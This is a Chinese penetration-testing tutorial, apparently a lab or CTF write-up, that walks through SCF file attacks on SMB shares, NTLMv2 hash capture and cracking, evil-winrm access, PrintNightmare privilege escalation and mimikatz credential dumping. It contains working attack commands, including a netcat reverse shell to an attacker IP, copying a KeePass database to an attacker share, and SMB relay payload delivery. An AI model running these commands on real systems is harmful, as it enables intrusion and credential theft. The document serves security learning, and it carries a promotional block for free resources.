网络安全之渗透实战学习
前言
本次渗透以 SMB 共享之 SCF 文件攻击为突破点,利用 burp 编码爆破 Basic Authorization 认证、smb 连接的多种方法、windows 用户的 NTLM 值破解方法、evil-winrm 的运用、windows 主机信息收集工具、msf 运行 powershell 脚本、远程运行 powershell 脚本、PrintNightmare 漏洞提权等多个知识点。
本次渗透过程从技术层面来说难度并不算很大,本文精华在于渗透过程中运用到了多个知识点,并对多种利用 SMB 攻击的方法作了总结,下面开始此次渗透实战之旅。
信息收集
首先进行基本的端口扫描;
看到 445 端口,想到了 smb 的多种利用方法;看到 5985,想到了可能要利用 evil-winrm;然后在重点照顾下 445 端口;
nmap -A --script smb-vuln* -p 445 10.10.11.106
并没有发现直接的突破口,那我们还是从 web 入手。
smb 匿名登录
尝试一波 smb 匿名登录,看是否存在共享文件,可以作为突破的线索;
常用命令总结如下:
smbmap -H 10.10.11.106smbclient -N -L //10.10.11.106enum4linux -a 10.10.11.106
暂时没有发现。
为了感谢广大读者伙伴的支持,准备了以下福利给到大家:【一>所有资源获取<一】1、200 多本网络安全系列电子书(该有的都有了)2、全套工具包(最全中文版,想用哪个用哪个)3、100 份 src 源码技术文档(项目学习不停,实践得真知)4、网络安全基础入门、Linux、web 安全、攻防方面的视频(2021 最新版)5、网络安全学习路线(告别不入流的学习)6、ctf 夺旗赛解析(题目解析实战操作)
burp 编码爆破
打开网页,弹出 Basic Authorization 认证
抓包进行爆破;
划红线的地方要设置 3 次,分别为:1、admin 2、: 3、 密码
用个弱口令字典,跑出结果了;
admin:admin
SMB 共享之 SCF 文件攻击
登录后台,发现一个可上传文件的地方;
经过多次尝试,这里可利用 SCF 文件攻击进行渗透,下面介绍 3 种利用方法:
通过 NTLM 捕获进行 SMB 攻击
基本原理:SCF(Shell 命令文件)文件可用于执行一组有限的操作,一个 SCF 文件可以用来访问一个特定的 UNC 路径,允许渗透测试人员构建攻击。下面的代码可以被放置在一个文本文件,然后需要被植入到网络共享。
将 hack.txt 文件保存为 SCF 文件,在文件名前面添加 @符号可以将 hack.scf 放在共享驱动器文件列表的顶部。(@hack.scf)并设置接收方法;
Responder 需要使用以下参数执行来捕获浏览共享的用户的哈希值。
responder -wrf -I tun0
当用户浏览共享时,将自动会从系统建立网络连接,连接到包含在 SCF 文件内的 UNC 路径。Windows 将尝试使用用户名和密码对该共享进行身份验证。在验证过程中,随机的 8 字节质询密钥会从服务器发送到客户端,散列后的 NTLM / LANMAN 密码再次使用这个质询密钥进行加密。Responder 将捕获 NTLMv2 哈希。
除了 Responder,MSF 也有一个模块,可以用来捕获来自 SMB 客户端的挑战 – 响应密码哈希。
auxiliary/server/capture/smb
上传之前的 hack.scf 来触发,就获取到了用户的 NTLM 值。
直接获取 shell
利用 MSF 框架实现攻击。
上传之前的 hack.scf 来触发,但本次渗透中该方法实测失败了。
上传 payload 获取 shell
本方法的主要优点是它不需要与用户有任何交互,并自动强制用户连接到共享,在这个过程中不存在 NTLMv2 哈希的协商过程。因此,也可以将此技术与 SMB 中继相结合,SMB 中继将提供有效载荷,可以从访问该共享的每个用户检索 Meterpreter Shell。
MSFVenom 可用于生成将在目标上执行的有效载荷:
利用 Impacket 中的 smbrelayx 这个 python 脚本可以设置中继攻击并在当目标主机尝试连接 SMB 服务器时提供有效载荷。这将自动执行,因为 SCF 文件将强制每个用户使用他们自己的凭据连接到一个不存在的共享。./smbrelayx.py -h Target-IP -e ./hack.exe
同时利用 MSF 设置木马的回连端:exploit/multi/handler
模块需要配置与生成的有效载荷相同的参数。
当用户浏览共享时,SMB 服务器将接收到连接,并且将使用用户名和密码散列来与他的系统进行认证,并将有效载荷执行为可写共享。本次渗透中该方法实测失败。
获取到 NTLM 值后,下一步尝试破解。
LM NTLM NET-NTLM2 破解
Windows 的系统密码 hash 默认情况下一般由两部分组成:第一部分是 LM Hash,第二部分是 NT HashLM
Windows Vista / Server 2008 已经默认关闭,在老版本可以遇到,但根据 windwos 的向下兼容性,可以通过组策略启用它示例:299BD128C1101FD6hash 破解:
NThash
NTLM 是现在 Windows 系统上存储密码的方式,可以通过转储 SAM 数据库或使用 Mimikatz 来获得。示例:B4B9B02E6F09A9BD760F388B67351E2Bhash 破解:
NTLMV1NTLM 协议在服务器和客户端之间的质询/响应中使用 NTHash,协议的 v1 同时使用 NT 和 LM 哈希,具体取决于配置和可用内容。示例:
hash 破解:
NTLMV2 这是 NTLM 协议的新版本和改进版本,这使其很难破解。该概念与 NTLMv1 相同,只是发送到服务器的算法和响应不同,从 Windows 2000 开始,在 Windows 中为默认值。示例:
hash 破解:
在本次渗透中用的是 NTLMV2;
hashcat -m 5600 -a 3 123.txt --wordlist top100.txt
john --format=netntlmv2 123.txt -w=top100.txt
成功得到用户名和密码:tony:liltony
根据开放的 445 和 5985 端口,连接一波;
尝试 psexec 连接失败;
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pB7Ofv13-1635337682265)(https://upload-images.jianshu.io/upload_images/26472780-ac960ef4943dcd51.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
evil-winrm -i 10.10.11.106 -u tony -p liltony
连接成功,下面就要开始想办法进行提权。
smb 带用户名密码登录
利用得到的用户名和密码,再次尝试登录 smb 共享;
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WjhLPGxj-1635337682278)(https://upload-images.jianshu.io/upload_images/26472780-d7ed45ca1d8f9f6a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)]
提权
主机信息收集
尝试使用命令,结果没有权限执行;
那就用脚本来跑,常用的是 winPEASx64.exe 或者 winPEAS.bat,这里有个小坑,程序运行时要加反斜杠;
结果很多,最后发现 print spooler service 服务;
利用最近的 WINDOWS PRINT SPOOLER 远程代码执行漏洞(CVE-2021-1675)来提权。
https://github.com/calebstewart/CVE-2021-1675
测试发现直接导入 powershell 脚本会报错;
下面分别采用 2 种方法;
msf 加载 powershell
生成个木马
接收反弹;
利用 evil-winrm 上传 hack.exe,运行;
程序会报错且会话中断,迁移下进程,再次尝试;
需要事先上传 ps1 脚本到主机对应的位置,否则找不到脚本;!
这次就成功执行了脚本,添加了一个新的用户且有 administrator 权限。还可以尝试一波远程运行 ps 脚本。
远程运行 powershell 脚本
远程下载文件到本地并执行
远程执行 ps1 脚本
自己搭建个 http 服务器
远程运行 ps 脚本;
抓取密码试试;
./mimikatz.exe privilege::debug "sekurlsa::logonpasswords" exit
至此,成功拿下了该主机,下面彩蛋环节,总结下其他几种 smb 常见的攻击方法。
smb 攻击方式
Windows SMB 的版本 CIFS:SMB 的旧版本,于 1996 年包含在 Microsoft Windows NT 4.0 中。
SMB 1.0 / SMB1:在 Windows 2000、Windows XP、Windows Server 2003 和 Windows Server 2003 R2 中使用的版本。
SMB 2.0 / SMB2:此版本用于 Windows Vista 和 Windows Server 2008。
SMB 2.1 / SMB2.1:此版本用于 Windows 7 和 Windows Server 2008 R2。
SMB 3.0 / SMB3:此版本用于 Windows 8 和 Windows Server 2012。
SMB 3.02 / SMB3:此版本用于 Windows 8.1 和 Windows Server 2012 R2。
SMB 3.1:此版本用于 Windows Server 2016 和 Windows 10。
目前,SMB 的最新版本是 SMB 3.1.1,它是在 Windows 10 和 Windows Server 2016 中引入的。该版本除了支持 SMB3 中添加的 AES 128 CCM 加密外,还支持 AES 128 GCM 加密,并使用 SHA-512 哈希。当连接到使用 SMB 2.x 及更高版本的客户端时,SMB 3.1.1 还强制要求进行安全协商。
永恒之蓝
我们运行以下 MSF 模块,该模块将直接利用目标机器。
暴力破解
如果破解成功,就可以枚举系统上的用户;
实测一下;
PSexec 连接 SMB
可以用 msf 里的模块;
因为本次渗透无法成功,补了之前的一张图;
还可以用 Impacket 中的 psexec.py#用明文密码连接
./psexec.py xie/administrator:密码@192.168.10.131
#用哈希值连接
还可以直接用 psexec.exe 程序;
Rundll32 One-liner
通过 Metasploit 的 SMB Delivery 启动 Rundll32 攻击
Metasploit 还包含了生成恶意 dll 文件的“SMB Delivery”模块。该模块通过 SMB 服务器提供 payload,并提供检索和执行生成 payload 的命令。目前支持 DLL 和 Powershell。
这将生成恶意 DLL 文件的链接,现在将此链接发送到你的目标并等待他的操作。
一旦受害者在运行提示符或命令提示符内运行恶意代码,我们就会在 Metasploit 上获得一个 Meterpreter 会话。
SMB DOS 攻击
SMB Dos 攻击是我们在 Metasploit 框架中拥有的另一种最优秀的方法。
该模块利用 Windows 7 和 Windows Server 2008 R2 上的 Microsoft Windows SMB 客户端中的拒绝服务缺陷。要触发此错误,请将此模块作为服务运行,并强制易受攻击的客户端作为 SMB 服务器访问此系统的 IP。如果目标使用 Internet Explorer 或 Word 文档,则可以通过将 UNC 路径 (\HOST\share\something) 嵌入到网页中来实现。
远程文件传输和运行
文件传输用法如下:
利用著名的 impacket 包里的 smbserver.py,进行文件传输。目录根据你自己定 smbserver.py share '/root/exp'
然后在监听的 shell 里 copy CEH.kdbx \10.10.14.57\Share,成功收到文件
还可以远程运行程序;
开启 impacket 里的 smbsever 服务,把 ms15-051x64 和 nc64.exe 放到我指定的共享文件,python smbserver.py Share '/root/htb/bastard'
在 shell 里执行反弹;\\10.10.14.57\share\ms15-051x64.exe "\\10.10.14.57\share\nc64.exe -e cmd 10.10.14.57 443"
另外本机监听 443.收到,搞定
总结
对于 SCF 文件攻击,我们也可以通过下列方法来防止这种攻击的发生:1、使用 Kerbeors 认证或 SMB 签名;
2、禁用共享文件给未认证用户所提供的写入权限;
3、确保使用的是 NTLMv2 密码并增加口令的复杂程度。
评论